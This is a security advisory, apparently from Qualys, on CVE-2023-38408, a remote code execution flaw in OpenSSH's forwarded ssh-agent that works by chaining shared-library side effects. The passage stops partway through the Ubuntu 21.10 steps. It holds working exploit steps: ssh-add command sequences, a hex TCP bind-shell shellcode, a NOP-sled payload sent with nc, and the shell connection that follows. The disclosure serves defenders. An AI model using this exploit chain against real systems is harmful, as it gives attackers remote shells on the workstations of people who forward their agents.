Qualys Security Advisory<\/p>\n
CVE-2023-38408: Remote Code Execution in OpenSSH’s forwarded ssh-agent<\/p>\n
========================================================================
\nContents
\n========================================================================<\/p>\n
Summary
\nBackground
\nExperiments
\nResults
\nDiscussion
\nAcknowledgments
\nTimeline<\/p>\n
========================================================================
\nSummary
\n========================================================================<\/p>\n
“ssh-agent is a program to hold private keys used for public key
\nauthentication. Through use of environment variables the agent can
\nbe located and automatically used for authentication when logging in
\nto other machines using ssh(1). … Connections to ssh-agent may be
\nforwarded from further remote hosts using the -A option to ssh(1)
\n(but see the caveats documented therein), avoiding the need for
\nauthentication data to be stored on other machines.”
\n(https:\/\/man.openbsd.org\/ssh-agent.1)<\/p>\n
“Agent forwarding should be enabled with caution. Users with the
\nability to bypass file permissions on the remote host … can access
\nthe local agent through the forwarded connection. … A safer
\nalternative may be to use a jump host (see -J).”
\n(https:\/\/man.openbsd.org\/ssh.1)<\/p>\n
Despite this warning, ssh-agent forwarding is still widely used today.
\nTypically, a system administrator (Alice) runs ssh-agent on her local
\nworkstation, connects to a remote server with ssh, and enables ssh-agent
\nforwarding with the -A or ForwardAgent option, thus making her ssh-agent
\n(which is running on her local workstation) reachable from the remote
\nserver.<\/p>\n
While browsing through ssh-agent’s source code, we noticed that a remote
\nattacker, who has access to the remote server where Alice’s ssh-agent is
\nforwarded to, can load (dlopen()) and immediately unload (dlclose()) any
\nshared library in \/usr\/lib* on Alice’s workstation (via her forwarded
\nssh-agent, if it is compiled with ENABLE_PKCS11, which is the default).<\/p>\n
(Note to the curious readers: for security reasons, and as explained in
\nthe “Background” section below, ssh-agent does not actually load such a
\nshared library in its own address space (where private keys are stored),
\nbut in a separate, dedicated process, ssh-pkcs11-helper.)<\/p>\n
Although this seems safe at first (because every shared library in
\n\/usr\/lib* comes from an official distribution package, and no operation
\nbesides dlopen() and dlclose() is generally performed by ssh-agent on a
\nshared library), many shared libraries have unfortunate side effects
\nwhen dlopen()ed and dlclose()d, and are therefore unsafe to be loaded
\nand unloaded in a security-sensitive program such as ssh-agent. For
\nexample, many shared libraries have constructor and destructor functions
\nthat are automatically executed by dlopen() and dlclose(), respectively.<\/p>\n
Surprisingly, by chaining four common side effects of shared libraries
\nfrom official distribution packages, we were able to transform this very
\nlimited primitive (the dlopen() and dlclose() of shared libraries from
\n\/usr\/lib*) into a reliable, one-shot remote code execution in ssh-agent
\n(despite ASLR, PIE, and NX). Our best proofs of concept so far exploit
\ndefault installations of Ubuntu Desktop plus three extra packages from
\nUbuntu’s “universe” repository. We believe that even better results can
\nbe achieved (i.e., some operating systems might be exploitable in their
\ndefault installation):<\/p>\n
– we only investigated Ubuntu Desktop 22.04 and 21.10, we have not
\nlooked into any other versions, distributions, or operating systems;<\/p>\n
– the “fuzzer” that we wrote to test our ideas is rudimentary and slow,
\nand we ran it intermittently on a single laptop, so we have not tried
\nall the combinations of shared libraries and side effects;<\/p>\n
– we initially had only one attack vector in mind (i.e., one specific
\ncombination of side effects from shared libraries), but we discovered
\nsix more while analyzing the results of our fuzzer, and we are
\nconvinced that more attack vectors exist.<\/p>\n
In this advisory, we present our research, experiments, reproducible
\nresults, and further ideas to exploit this “dlopen() then dlclose()”
\nprimitive. We will also publish the source code of our crude fuzzer at
\nhttps:\/\/www.qualys.com\/research\/security-advisories\/ (warning: this code
\nmight hurt the eyes of experienced fuzzing practitioners, but it gave us
\nquick answers to our many questions; it is provided “as is”, in the hope
\nthat it will be useful).<\/p>\n
========================================================================
\nBackground
\n========================================================================<\/p>\n
The ability to load and unload shared libraries in ssh-agent was
\ndeveloped in 2010 to support the addition and deletion of PKCS#11 keys:
\nssh-agent forks and executes a long-running ssh-pkcs11-helper process
\nthat dlopen()s PKCS#11 providers (shared libraries), and immediately
\ndlclose()s them if the symbol C_GetFunctionList cannot be found (i.e.,
\nif such a shared library is not actually a PKCS#11 provider, which is
\nthe case for the vast majority of the shared libraries in \/usr\/lib*).<\/p>\n
Note: ssh-agent also supports the addition of FIDO keys, by loading a
\nFIDO authenticator (a shared library) in a short-lived ssh-sk-helper
\nprocess; however, unlike ssh-pkcs11-helper, ssh-sk-helper is stateless
\n(it terminates shortly after loading a single shared library) and can
\ntherefore not be abused by an attacker to chain the side effects of
\nseveral shared libraries.<\/p>\n
Originally, the path of a shared library to be loaded in
\nssh-pkcs11-helper was not filtered at all by ssh-agent, but in 2016 an
\nallow-list was added (“\/usr\/lib*\/*,\/usr\/local\/lib*\/*” by default) in
\nresponse to CVE-2016-10009, which was published by Jann Horn (at
\nhttps:\/\/bugs.chromium.org\/p\/project-zero\/issues\/detail?id=1009):<\/p>\n
– if an attacker had access to the server where Alice’s ssh-agent is
\nforwarded to, and had an unprivileged access to Alice’s workstation,
\nthen this attacker could store a malicious shared library in \/tmp on
\nAlice’s workstation and execute it with Alice’s privileges (via her
\nforwarded ssh-agent) — a mild form of Local Privilege Escalation;<\/p>\n
– if the attacker had only access to the server where Alice’s ssh-agent
\nis forwarded to, but could somehow store a malicious shared library
\nsomewhere on Alice’s workstation (without access to her workstation),
\nthen this attacker could remotely execute this shared library (via
\nAlice’s forwarded ssh-agent) — a mild form of Remote Code Execution.<\/p>\n
Our first reaction was of course to try to bypass ssh-agent’s \/usr\/lib*
\nallow-list:<\/p>\n
– by finding a logic bug in the filter function, match_pattern_list()
\n(but we failed);<\/p>\n
– by making a path-traversal attack, for example \/usr\/lib\/..\/..\/tmp (but
\nwe failed, because ssh-agent first calls realpath() to canonicalize
\nthe path of a shared library, and then calls the filter function);<\/p>\n
– by finding a locally or remotely writable file or directory in
\n\/usr\/lib* (but we failed).<\/p>\n
Our only option, then, is to abuse side effects of the existing shared
\nlibraries in \/usr\/lib*; in particular, their constructor and destructor
\nfunctions, which are automatically executed by dlopen() and dlclose().
\nEventually, we realized that this is essentially a remote version of
\nCVE-2010-3856, which was published in 2010 by Tavis Ormandy (at
\nhttps:\/\/seclists.org\/fulldisclosure\/2010\/Oct\/344):<\/p>\n
– an unprivileged local attacker could dlopen() any shared library from
\n\/lib and \/usr\/lib (via the LD_AUDIT environment variable), even when
\nexecuting a SUID-root program;<\/p>\n
– the constructor functions of various common shared libraries created
\nfiles and directories whose location depended on the attacker’s
\nenvironment variables and whose creation mode depended on the
\nattacker’s umask;<\/p>\n
– the local attacker could therefore create world-writable files and
\ndirectories anywhere in the filesystem, and obtain full root
\nprivileges (via crond, for example).<\/p>\n
Although the ability to load and unload shared libraries from \/usr\/lib*
\nin ssh-agent bears a striking resemblance to CVE-2010-3856, we are in a
\nmuch weaker position here, because we are trying to exploit ssh-agent
\nremotely, so we do not control its environment variables nor its umask
\n(and we do not even talk directly to ssh-pkcs11-helper, which actually
\ndlopen()s and dlclose()s the shared libraries: we talk to ssh-agent,
\nwhich canonicalizes and filters our requests before passing them on to
\nssh-pkcs11-helper).<\/p>\n
In fact, we do not control anything except the order in which we load
\n(and immediately unload) shared libraries from \/usr\/lib* in ssh-agent.
\nAt that point, we almost abandoned our research, because we could not
\npossibly imagine how to transform this extremely limited primitive into
\na one-shot remote code execution. Nevertheless, we felt curious and
\ndecided to syscall-trace (strace) a dlopen() and dlclose() of every
\nshared library in the default installation of Ubuntu Desktop. We
\ninstantly observed four surprising behaviors:<\/p>\n
————————————————————————<\/p>\n
1\/ Some shared libraries require an executable stack, either explicitly
\nbecause of an RWE (readable, writable, executable) GNU_STACK ELF header,
\nor implicitly because of a missing GNU_STACK ELF header (in which case
\nthe loader defaults to an executable stack): when such an “execstack”
\nlibrary is dlopen()ed, the loader makes the main stack and all thread
\nstacks executable, and they remain executable even after dlclose().<\/p>\n
For example, \/usr\/lib\/systemd\/boot\/efi\/linuxx64.elf.stub in the default
\ninstallation of Ubuntu Desktop 22.04.<\/p>\n
————————————————————————<\/p>\n
2\/ Many shared libraries are marked as “nodelete” by the loader, either
\nexplicitly because of a NODELETE ELF flag, or implicitly because they
\nare in the dependency list of a NODELETE library: the loader will never
\nunload (munmap()) such libraries, even after they are dlclose()d.<\/p>\n
For example, \/usr\/lib\/x86_64-linux-gnu\/librt.so.1 in the default
\ninstallation of Ubuntu Desktop 22.04 and 21.10.<\/p>\n
————————————————————————<\/p>\n
3\/ Some shared libraries register a signal handler for SIGSEGV when they
\nare dlopen()ed, but they do not deregister this signal handler when they
\nare dlclose()d (i.e., this signal handler is still registered when its
\ncode is munmap()ed).<\/p>\n
For example, \/usr\/lib\/x86_64-linux-gnu\/libSegFault.so in the default
\ninstallation of Ubuntu Desktop 21.10.<\/p>\n
————————————————————————<\/p>\n
4\/ Some shared libraries crash with a SIGSEGV as soon as they are
\ndlopen()ed (usually because of a NULL-pointer dereference), because they
\nare supposed to be loaded in a specific context, not in a random program
\nsuch as ssh-agent.<\/p>\n
For example, most of the \/usr\/lib\/x86_64-linux-gnu\/xtables\/lib*.so in
\nthe default installation of Ubuntu Desktop 22.04 and 21.10.<\/p>\n
————————————————————————<\/p>\n
And so an exciting idea to remotely exploit ssh-agent came into our
\nmind:<\/p>\n
a\/ make ssh-agent’s stack executable (more precisely,
\nssh-pkcs11-helper’s stack) by dlopen()ing one of the “execstack”
\nlibraries (“surprising behavior 1\/”), and somehow store a 1990-style
\nshellcode somewhere in this executable stack;<\/p>\n
b\/ register a signal handler for SIGSEGV and immediately munmap() its
\ncode, by dlopen()ing and dlclose()ing one of the shared libraries from
\n“surprising behavior 3\/” (consequently, a dangling pointer to this
\nunmapped signal handler is retained in the kernel);<\/p>\n
c\/ replace the unmapped signal handler’s code with another piece of code
\nfrom another shared library, by dlopen()ing (mmap()ing) one of the
\n“nodelete” libraries (“surprising behavior 2\/”);<\/p>\n
d\/ raise a SIGSEGV by dlopen()ing one of the shared libraries from
\n“surprising behavior 4\/”, so that the unmapped signal handler is called
\nby the kernel, but the replacement code from the “nodelete” library is
\nexecuted instead (a use-after-free of sorts);<\/p>\n
e\/ hope that this replacement code (which is mapped where the signal
\nhandler was mapped) is a useful gadget that somehow jumps into the
\nexecutable stack, exactly where our shellcode is stored.<\/p>\n
========================================================================
\nExperiments
\n========================================================================<\/p>\n
But “hope is not a strategy”, so we decided to implement the following
\n6-step plan to test our remote-exploitation idea in ssh-agent:<\/p>\n
————————————————————————<\/p>\n
Step 1 – We install a default Ubuntu Desktop, download all official
\npackages from Ubuntu’s “main” and “universe” repositories, and extract
\nall \/usr\/lib* files from these packages. These files occupy ~200GB of
\ndisk space and include ~60,000 shared libraries.<\/p>\n
Note: after the default installation of Ubuntu Desktop, but before the
\nextraction of all \/usr\/lib* files, we “chattr +i \/etc\/ld.so.cache” to
\nmake sure that this file does not grow unrealistically (from kilobytes
\nto megabytes); indeed, it is mmap()ed by the loader every time dlopen()
\nis called, and a large file might therefore destroy the mmap layout and
\nprevent our fuzzer’s results from being reproducible in the real world.<\/p>\n
————————————————————————<\/p>\n
Step 2 – For each shared library in \/usr\/lib*, we fork and execute
\nssh-pkcs11-helper, strace it, and request it to dlopen() (and hence
\nimmediately dlclose()) this shared library; if we spot anything unusual
\nin the strace logs (a raised signal, a clone() call, etc) or outstanding
\ndifferences in \/proc\/pid\/maps or \/proc\/pid\/status between before and
\nafter dlopen() and dlclose(), then we mark this shared library as
\ninteresting.<\/p>\n
————————————————————————<\/p>\n
Step 3 – We analyze the results of Step 2. For example, on Ubuntu
\nDesktop 22.04:<\/p>\n
– 58 shared libraries make the stack executable when dlopen()ed (and the
\nstack remains executable even after dlclose());<\/p>\n
– 16577 shared libraries permanently alter the mmap layout when
\ndlopen()ed (either because they are “nodelete” libraries, or because
\nthey allocate a thread stack or otherwise leak mmap()ed memory);<\/p>\n
– 9 shared libraries register a SIGSEGV handler when dlopen()ed (but do
\nnot deregister it when dlclose()d), and 238 shared libraries raise a
\nSIGSEGV when dlopen()ed;<\/p>\n
– 2 shared libraries register a SIGABRT handler when dlopen()ed, and 44
\nshared libraries raise a SIGABRT when dlopen()ed.<\/p>\n
On Ubuntu Desktop 21.10:<\/p>\n
– 30 shared libraries make the stack executable;<\/p>\n
– 16172 shared libraries permanently alter the mmap layout;<\/p>\n
– 9 shared libraries register a SIGSEGV handler, and 147 shared
\nlibraries raise a SIGSEGV;<\/p>\n
– 2 shared libraries register a SIGABRT handler, and 38 shared libraries
\nraise a SIGABRT;<\/p>\n
– 1 shared library registers a SIGBUS handler, and 11 shared libraries
\nraise a SIGBUS;<\/p>\n
– 1 shared library registers a SIGCHLD handler, and 61 shared libraries
\nraise a SIGCHLD;<\/p>\n
– 1 shared library registers a SIGILL handler, and 1 shared library
\nraises a SIGILL.<\/p>\n
————————————————————————<\/p>\n
Step 4 – We implement a rudimentary fuzzing strategy, by forking and
\nexecuting ssh-pkcs11-helper in a loop, and by loading (and unloading)
\nrandom combinations of the interesting shared libraries from Step 3:<\/p>\n
a\/ we randomly load zero or more shared libraries that permanently alter
\nthe mmap layout, in the hope of creating holes in the mmap layout, thus
\npotentially shifting the replacement code (which will later replace the
\nsignal handler’s code) with page precision;<\/p>\n
b\/ we randomly load one shared library that registers a signal handler
\nbut does not deregister it when dlclose()d (i.e., when munmap()ed);<\/p>\n
c\/ we randomly load zero or more shared libraries that alter the mmap
\nlayout (again), thus replacing the unmapped signal handler’s code with
\nanother piece of code (a hopefully useful gadget) from another shared
\nlibrary (a “nodelete” library);<\/p>\n
d\/ we randomly load one shared library that raises the signal that is
\ncaught by the unmapped signal handler: the replacement code (gadget) is
\nexecuted instead, and if it jumps into the stack (a SEGV_ACCERR with a
\nRIP register that points to the stack, because we did not make the stack
\nexecutable in this Step 4), then we mark this particular combination of
\nshared libraries as interesting.<\/p>\n
Surprise: we actually get numerous jumps to the stack in this Step 4,
\nusually because the signal handler’s code is replaced by a “jmp REG”,
\n“call REG”, or “pop; pop; ret” gadget, and the “REG” or popped RIP
\nregister happens to point to the stack at the time of the jump.<\/p>\n
————————————————————————<\/p>\n
Step 5 – We implement this extra step to test whether the interesting
\ncombinations of shared libraries from Step 4 actually jump into our
\nshellcode in the stack, or into uncontrolled data in the stack:<\/p>\n
a\/ we make the stack executable, by randomly loading one of the
\n“execstack” libraries from Step 3;<\/p>\n
b\/ we store ~10KB of 0xcc bytes in the stack buffer “buf” of
\nssh-pkcs11-helper’s main() function: 10KB is the maximum message length
\nthat we can send to ssh-pkcs11-helper (via ssh-agent), and on amd64 0xcc
\nis the “int3” instruction that generates a SIGTRAP when executed;<\/p>\n
c\/ we randomly replay one of the interesting combinations of shared
\nlibraries from Step 4: if a SIGTRAP is generated while the RIP register
\npoints to the stack, then there is a fair chance that ssh-pkcs11-helper
\njumped into our shellcode (our 0xcc bytes) in the executable stack.<\/p>\n
Surprise: we actually get many SIGTRAPs in the stack during this Step 5,
\nbut to our great dismay, most of these SIGTRAPs are generated because
\nssh-pkcs11-helper jumps into the stack, in the middle of a pointer that
\nis stored on the stack and that happens to contain a 0xcc byte because
\nof ASLR (i.e., not because ssh-pkcs11-helper jumps into our own 0xcc
\nbytes in the stack).<\/p>\n
————————————————————————<\/p>\n
Step 6 – We implement this extra step to eliminate the false positives
\nproduced by Step 5:<\/p>\n
a\/ we repeatedly replay (N times) each combination of shared libraries
\nthat generates a SIGTRAP in the stack: if N SIGTRAPs are generated out
\nof N replays, then there is an excellent chance that ssh-pkcs11-helper
\ndoes indeed jump into our shellcode (our 0xcc bytes) in the stack (and
\nnot into random bytes that happen to be 0xcc because of ASLR);<\/p>\n
b\/ if this is confirmed by a manual check (with gdb for example), then
\nwe achieved a reliable, one-shot remote code execution in ssh-agent,
\ndespite the very limited primitive, and despite ASLR, PIE, and NX.<\/p>\n
========================================================================
\nResults
\n========================================================================<\/p>\n
In this section, we present the results of our experiments:<\/p>\n
– Signal handler use-after-free (Ubuntu Desktop 22.04)
\n– Signal handler use-after-free (Ubuntu Desktop 21.10)
\n– Callback function use-after-free
\n– Return from syscall use-after-free
\n– Sigaltstack use-after-free
\n– Sigreturn to arbitrary instruction pointer
\n– _Unwind_Context type-confusion
\n– RCE in library constructor<\/p>\n
========================================================================
\nSignal handler use-after-free (Ubuntu Desktop 22.04)
\n========================================================================<\/p>\n
This was our original idea for remotely attacking ssh-agent, as
\ndiscussed at the end of the “Background” section and as implemented in
\nthe “Experiments” section. In this subsection, we present one of the
\nvarious combinations of shared libraries that result in a reliable,
\none-shot remote code execution in ssh-agent on Ubuntu Desktop 22.04.<\/p>\n
————————————————————————<\/p>\n
1a\/ On our local workstation, we install a default Ubuntu Desktop 22.04
\n(https:\/\/old-releases.ubuntu.com\/releases\/22.04\/ubuntu-22.04-desktop-amd64.iso),
\nwithout connecting this workstation to the Internet.<\/p>\n
————————————————————————<\/p>\n
1b\/ After the installation is complete, we modify \/etc\/apt\/sources.list
\nto prevent any package from being upgraded to a version that is not the
\none that we used in our experiments:<\/p>\n
workstation# cp -i \/etc\/apt\/sources.list \/etc\/apt\/sources.list.backup
\nworkstation# grep ‘ jammy ‘ \/etc\/apt\/sources.list.backup > \/etc\/apt\/sources.list<\/p>\n
————————————————————————<\/p>\n
1c\/ We connect our workstation to the Internet, and install the three
\npackages (from Ubuntu’s official “universe” repository) that contain the
\nthree shared libraries used in this particular attack against ssh-agent:<\/p>\n
workstation# apt-get update
\nworkstation# apt-get upgrade
\nworkstation# apt-get –no-install-recommends install eclipse-titan
\nworkstation# apt-get –no-install-recommends install libkf5sonnetui5
\nworkstation# apt-get –no-install-recommends install libns3-3v5<\/p>\n
————————————————————————<\/p>\n
2\/ As Alice, we run ssh-agent on our local workstation, connect to a
\nremote server with ssh, and enable ssh-agent forwarding with -A:<\/p>\n
workstation$ id
\nuid=1000(alice) gid=1000(alice) groups=1000(alice),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare)<\/p>\n
workstation$ eval `ssh-agent -s`
\nAgent pid 1105<\/p>\n
workstation$ echo \/tmp\/ssh-*\/agent.*
\n\/tmp\/ssh-XXXXXXmgHTo9\/agent.1104<\/p>\n
workstation$ ssh -A server<\/p>\n
server$ id
\nuid=1001(alice) gid=1001(alice) groups=1001(alice)<\/p>\n
server$ echo \/tmp\/ssh-*\/agent.*
\n\/tmp\/ssh-N5EjHljGRh\/agent.1299<\/p>\n
————————————————————————<\/p>\n
3\/ Then, as a remote attacker who has access to this server:<\/p>\n
————————————————————————<\/p>\n
3a\/ we remotely make ssh-agent’s stack executable (more precisely,
\nssh-pkcs11-helper’s stack), via Alice’s ssh-agent forwarding (indeed,
\nthe ssh-agent itself is running on Alice’s workstation, not on the
\nserver):<\/p>\n
server# echo \/tmp\/ssh-*\/agent.*
\n\/tmp\/ssh-N5EjHljGRh\/agent.1299<\/p>\n
server# export SSH_AUTH_SOCK=\/tmp\/ssh-N5EjHljGRh\/agent.1299<\/p>\n
server# ssh-add -s \/usr\/lib\/systemd\/boot\/efi\/linuxx64.elf.stub
\nEnter passphrase for PKCS#11: whatever
\nCould not add card “\/usr\/lib\/systemd\/boot\/efi\/linuxx64.elf.stub”: agent refused operation<\/p>\n
————————————————————————<\/p>\n
3b\/ we remotely store a shellcode in the stack buffer “buf” of
\nssh-pkcs11-helper’s main() function:<\/p>\n
server# SHELLCODE=$’\\x48\\x31\\xc0\\x48\\x31\\xff\\x48\\x31\\xf6\\x48\\x31\\xd2\\x4d\\x31\\xc0\\x6a\\x02\\x5f\\x6a\\x01\\x5e\\x6a\\x06\\x5a\\x6a\\x29\\x58\\x0f\\x05\\x49\\x89\\xc0\\x4d\\x31\\xd2\\x41\\x52\\x41\\x52\\xc6\\x04\\x24\\x02\\x66\\xc7\\x44\\x24\\x02\\x7a\\x69\\x48\\x89\\xe6\\x41\\x50\\x5f\\x6a\\x10\\x5a\\x6a\\x31\\x58\\x0f\\x05\\x41\\x50\\x5f\\x6a\\x01\\x5e\\x6a\\x32\\x58\\x0f\\x05\\x48\\x89\\xe6\\x48\\x31\\xc9\\xb1\\x10\\x51\\x48\\x89\\xe2\\x41\\x50\\x5f\\x6a\\x2b\\x58\\x0f\\x05\\x59\\x4d\\x31\\xc9\\x49\\x89\\xc1\\x4c\\x89\\xcf\\x48\\x31\\xf6\\x6a\\x03\\x5e\\x48\\xff\\xce\\x6a\\x21\\x58\\x0f\\x05\\x75\\xf6\\x48\\x31\\xff\\x57\\x57\\x5e\\x5a\\x48\\xbf\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x48\\xc1\\xef\\x08\\x57\\x54\\x5f\\x6a\\x3b\\x58\\x0f\\x05’<\/p>\n
server# (perl -e ‘print “\\0\\0\\x27\\xbf\\x14\\0\\0\\0\\x10\/usr\/lib\/modules\\0\\0\\x27\\xa6” . “\\x90” x 10000’; echo -n “$SHELLCODE”) | nc -U “$SSH_AUTH_SOCK”
\n[Press Ctrl-C after a few seconds.]\n
– we do not use ssh-add here, because we want to send a ~10KB passphrase
\n(our shellcode) to ssh-agent, but ssh-add limits the length of our
\npassphrase to 1KB;<\/p>\n
– “\\x90” x 10000 is a ~10KB “NOP sled” (on amd64, 0x90 is the “nop”
\ninstruction);<\/p>\n
– SHELLCODE is a “TCP bind shell” on port 31337 (from
\nhttps:\/\/shell-storm.org\/shellcode\/files\/shellcode-858.html);<\/p>\n
– \/usr\/lib\/modules is an existing directory whose path matches
\nssh-agent’s \/usr\/lib* allow-list (indeed, we do not want to actually
\nload a shared library here — we just want to store our shellcode in
\nthe executable stack);<\/p>\n
————————————————————————<\/p>\n
3c\/ we remotely register a SIGSEGV handler, and immediately munmap() its
\ncode:<\/p>\n
server# ssh-add -s \/usr\/lib\/titan\/libttcn3-rt2-dynamic.so
\nEnter passphrase for PKCS#11: whatever
\nCould not add card “\/usr\/lib\/titan\/libttcn3-rt2-dynamic.so”: agent refused operation<\/p>\n
————————————————————————<\/p>\n
3d\/ we remotely replace the unmapped SIGSEGV handler’s code with another
\npiece of code (a useful gadget) from another shared library:<\/p>\n
server# ssh-add -s \/usr\/lib\/x86_64-linux-gnu\/libKF5SonnetUi.so.5.92.0
\nEnter passphrase for PKCS#11: whatever
\nCould not add card “\/usr\/lib\/x86_64-linux-gnu\/libKF5SonnetUi.so.5.92.0”: agent refused operation<\/p>\n
————————————————————————<\/p>\n
3e\/ we remotely raise a SIGSEGV in ssh-pkcs11-helper:<\/p>\n
server# ssh-add -s \/usr\/lib\/x86_64-linux-gnu\/libns3.35-wave.so.0.0.0
\nEnter passphrase for PKCS#11: whatever
\n[Press Ctrl-C after a few seconds.]\n
————————————————————————<\/p>\n
3f\/ the replacement code (gadget) is executed (instead of the unmapped
\nSIGSEGV handler’s code) and jumps to the stack, into our shellcode,
\nwhich binds a shell on TCP port 31337 on Alice’s workstation:<\/p>\n
server# nc -v workstation 31337
\nConnection to workstation 31337 port [tcp\/*] succeeded!<\/p>\n
workstation$ id
\nuid=1000(alice) gid=1000(alice) groups=1000(alice),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare)<\/p>\n
workstation$ ps axuf
\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
\n…
\nalice 1105 0.0 0.1 7968 4192 ? Ss 09:48 0:00 ssh-agent -s
\nalice 1249 0.0 0.0 2888 956 ? S 10:03 0:00 \\_ [sh]\nalice 1268 0.0 0.0 7204 3092 ? R 10:14 0:00 \\_ ps axuf<\/p>\n
————————————————————————<\/p>\n
To get a clear view of the replacement code (the useful gadget) that is
\nexecuted instead of the unmapped SIGSEGV handler and that jumps into the
\nNOP sled of our shellcode (in the executable stack), we relaunch our
\nattack against ssh-agent and attach to ssh-pkcs11-helper with gdb:<\/p>\n
workstation$ gdb \/usr\/lib\/openssh\/ssh-pkcs11-helper 1307
\n…
\n(gdb) continue
\nContinuing.<\/p>\n
Program received signal SIGSEGV, Segmentation fault.
\n0x00007fb15c9b560e in std::_Rb_tree_decrement(std::_Rb_tree_node_base*) () from \/lib\/x86_64-linux-gnu\/libstdc++.so.6<\/p>\n
(gdb) stepi
\n0x00007fb15d0e1250 in ?? () from \/lib\/x86_64-linux-gnu\/libQt5Widgets.so.5<\/p>\n
(gdb) x\/10i 0x00007fb15d0e1250
\n=> 0x7fb15d0e1250: add %rcx,%rdx
\n0x7fb15d0e1253: notrack jmp *%rdx
\n…<\/p>\n
(gdb) stepi
\n0x00007fb15d0e1253 in ?? () from \/lib\/x86_64-linux-gnu\/libQt5Widgets.so.5<\/p>\n
(gdb) stepi
\n0x00007ffc2ec82691 in ?? ()<\/p>\n
(gdb) x\/10i 0x00007ffc2ec82691
\n=> 0x7ffc2ec82691: nop
\n0x7ffc2ec82692: nop
\n0x7ffc2ec82693: nop
\n0x7ffc2ec82694: nop
\n0x7ffc2ec82695: nop
\n0x7ffc2ec82696: nop
\n0x7ffc2ec82697: nop
\n0x7ffc2ec82698: nop
\n0x7ffc2ec82699: nop
\n0x7ffc2ec8269a: nop<\/p>\n
(gdb) !grep stack \/proc\/1307\/maps
\n7ffc2ec66000-7ffc2ec87000 rwxp 00000000 00:00 0 [stack]\n
========================================================================
\nSignal handler use-after-free (Ubuntu Desktop 21.10)
\n========================================================================<\/p>\n
In this subsection, we present one of the various combinations of shared
\nlibraries that result in a reliable, one-shot remote code execution in
\nssh-agent on Ubuntu Desktop 21.10.<\/p>\n
————————————————————————<\/p>\n
1a\/ On our local workstation, we install a default Ubuntu Desktop 21.10
\n(https:\/\/old-releases.ubuntu.com\/releases\/21.10\/ubuntu-21.10-desktop-amd64.iso),
\nwithout connecting this workstation to the Internet.<\/p>\n
————————————————————————<\/p>\n
1b\/ After the installation is complete, we modify \/etc\/apt\/sources.list
\nto prevent any package from being upgraded to a version that is not the
\none that we used in our experiments:<\/p>\n
workstation# cp -i \/etc\/apt\/sources.list \/etc\/apt\/sources.list.backup
\nworkstation# echo ‘deb https:\/\/old-releases.ubuntu.com\/ubuntu\/ impish main restricted universe’ > \/etc\/apt\/sources.list<\/p>\n
————————————————————————<\/p>\n
1c\/ We connect our workstation to the Internet, and install the three
\npackages (from Ubuntu’s official “universe” repository) that contain the
\nthree extra shared libraries used in this attack against ssh-agent:<\/p>\n
workstation# apt-get update
\nworkstation# apt-get upgrade
\nworkstation# apt-get –no-install-recommends install syslinux-common
\nworkstation# apt-get –no-install-recommends install libgnatcoll-postgres1
\nworkstation# apt-get –no-install-recommends install libenca-dbg<\/p>\n
————————————————————————<\/p>\n
2\/ As Alice, we run ssh-agent on our local workstation, connect to a
\nremote server with ssh, and enable ssh-agent forwarding with -A:<\/p>\n
workstation$ id
\nuid=1000(alice) gid=1000(alice) groups=1000(alice),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),133(lxd),134(sambashare)<\/p>\n
workstation$ eval `ssh-agent -s`
\nAgent pid 912<\/p>\n
workstation$ echo \/tmp\/ssh-*\/agent.*
\n\/tmp\/ssh-GnpGKph6xbe3\/agent.911<\/p>\n
workstation$ ssh -A server<\/p>\n
server$ id
\nuid=1001(alice) gid=1001(alice) groups=1001(alice)<\/p>\n
server$ echo \/tmp\/ssh-*\/agent.*
\n\/tmp\/ssh-30N8pjTKWn\/agent.996<\/p>\n
————————————————————————<\/p>\n
3\/ Then, as a remote attacker who has access to this server:<\/p>\n
————————————————————————<\/p>\n
3a\/ we remotely make ssh-agent’s stack executable (more precisely,
\nssh-pkcs11-helper’s stack), via Alice’s ssh-agent forwarding:<\/p>\n
server# echo \/tmp\/ssh-*\/agent.*
\n\/tmp\/ssh-30N8pjTKWn\/agent.996<\/p>\n
server# export SSH_AUTH_SOCK=\/tmp\/ssh-30N8pjTKWn\/agent.996<\/p>\n
server# ssh-add -s \/usr\/lib\/syslinux\/modules\/efi64\/gfxboot.c32
\nEnter passphrase for PKCS#11: whatever
\nCould not add card “\/usr\/lib\/syslinux\/modules\/efi64\/gfxboot.c32”: agent refused operation<\/p>\n
————————————————————————<\/p>\n
3b\/ we remotely store a shellcode in the stack of ssh-pkcs11-helper:<\/p>\n
server# SHELLCODE=$’\\x48\\x31\\xc0\\x48\\x31\\xff\\x48\\x31\\xf6\\x48\\x31\\xd2\\x4d\\x31\\xc0\\x6a\\x02\\x5f\\x6a\\x01\\x5e\\x6a\\x06\\x5a\\x6a\\x29\\x58\\x0f\\x05\\x49\\x89\\xc0\\x4d\\x31\\xd2\\x41\\x52\\x41\\x52\\xc6\\x04\\x24\\x02\\x66\\xc7\\x44\\x24\\x02\\x7a\\x69\\x48\\x89\\xe6\\x41\\x50\\x5f\\x6a\\x10\\x5a\\x6a\\x31\\x58\\x0f\\x05\\x41\\x50\\x5f\\x6a\\x01\\x5e\\x6a\\x32\\x58\\x0f\\x05\\x48\\x89\\xe6\\x48\\x31\\xc9\\xb1\\x10\\x51\\x48\\x89\\xe2\\x41\\x50\\x5f\\x6a\\x2b\\x58\\x0f\\x05\\x59\\x4d\\x31\\xc9\\x49\\x89\\xc1\\x4c\\x89\\xcf\\x48\\x31\\xf6\\x6a\\x03\\x5e\\x48\\xff\\xce\\x6a\\x21\\x58\\x0f\\x05\\x75\\xf6\\x48\\x31\\xff\\x57\\x57\\x5e\\x5a\\x48\\xbf\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x48\\xc1\\xef\\x08\\x57\\x54\\x5f\\x6a\\x3b\\x58\\x0f\\x05′<\/p>\n
server# (perl -e ‘print “\\0\\0\\x27\\xbf\\x14\\0\\0\\0\\x10\/usr\/lib\/modules\\0\\0\\x27\\xa6” . “\\x90” x 10000’; echo -n “$SHELLCODE”) | nc -U “$SSH_AUTH_SOCK”
\n[Press Ctrl-C after a few seconds.]\n
————————————————————————<\/p>\n
3c\/ we remotely alter the mmap layout of ssh-pkcs11-helper:<\/p>\n
server# ssh-add -s \/usr\/lib\/pulse-15.0+dfsg1\/modules\/module-remap-sink.so
